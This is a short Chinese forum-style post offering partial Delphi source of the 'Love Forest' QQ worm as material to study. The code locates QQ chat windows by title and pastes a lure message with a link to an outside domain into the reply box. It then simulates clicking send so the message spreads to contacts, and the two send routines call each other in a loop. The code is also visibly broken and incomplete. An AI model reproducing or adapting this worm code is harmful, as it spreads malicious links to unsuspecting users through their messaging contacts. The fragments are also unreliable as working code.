爱情森林病毒部分源代码 ,有空学习学习,善与恶的距离只有一步,用的对了就是善良的。
unit qqworm;
interface
uses
windows, messages, sysutils, variants, classes, graphics, controls, forms,
dialogs, stdctrls, extctrls, comctrls;
private
...{ private declarations }
procedure mysendmessage;
procedure mytalkeach;
public
procedure qqstart;
...{ public declarations }
end;
implementation
...{$r *.dfm}
procedure mysendmessage;
var
hparent,hbutton,hmemo,clp: hwnd;
texta:tcustomedit;
begin
texta:='btw...给你一个惊喜——exf.ecv.tk';
texta.copytoclipboard;
try
// 找发送消息的qq 窗口
hparent := findwindow(nil, '发送消息');
// 然后找回话时用的编辑窗口,point 函数用于返回一个tpoint 类型变量
hmemo := childwindowfrompointex(hparent, point(50, 100),cwp_all);
// 找到“送讯息”按钮的句柄
hbutton := findwindowex(hparent,0,nil,'送讯息(&s)');
if (hparent = 0) or (hmemo = 0) or (hbutton = 0) then
...{messagebox(handle,' 没有找到发送窗口,请重试! ',' 错误', mb_iconwarning)}
mytalkeach
else
begin
// 向发送消息中的回话编辑框发送粘贴消息
sendmessage(hmemo,wm_paste,0,0);
// 向“送讯息”按钮送单击消息以模仿按键发送回话
sendmessage(hbutton,bm_click,0,0);
end;
except
// 如果发生意外错误给出提示
mytalkeach;
...{messagebox(handle,' 发送消息出错,请重试! ' , ' 错误' , mb_iconwarning);
procedure mytalkeach;
hparent,hbutton,hmemo: hwnd;
texta.copytoclipboard;
// 找对话模式中窗口
//showmessage('test');
hparent := findwindow(nil, '对话模式');
// 找到对话模式中的回话编辑框
hmemo := childwindowfrompointex(hparent, point(50, 300),
cwp_all);
hbutton := findwindowex(hparent,0,nil,'送讯息(&s)');
// 如果有任何一个句柄没有找到都不能完成发送,并给出提示
//if hmemo=0 then
// showmessage('1');
if (hparent = 0) or (hmemo = 0) or (hbutton = 0) then begin
...{messagebox(handle,' 没有找到发送窗口,请切换到双人对话模式! ',' 错误',
mb_iconwarning);}
mysendmessage;
//showmessage('go');
end
else
// 向对话模式中的回话编辑框发送粘贴消息
sendmessage(hmemo,wm_paste,0,0);
sendmessage(hbutton,bm_click,0,0);
mysendmessage;
...{messagebox(handle,' 发送消息出错,请重试! ' , ' 错误' ,
mb_iconwarning);}
procedure qqstart;
var
k:integer;
begin
k:=0;
while k=0 do
sleep(500);
end;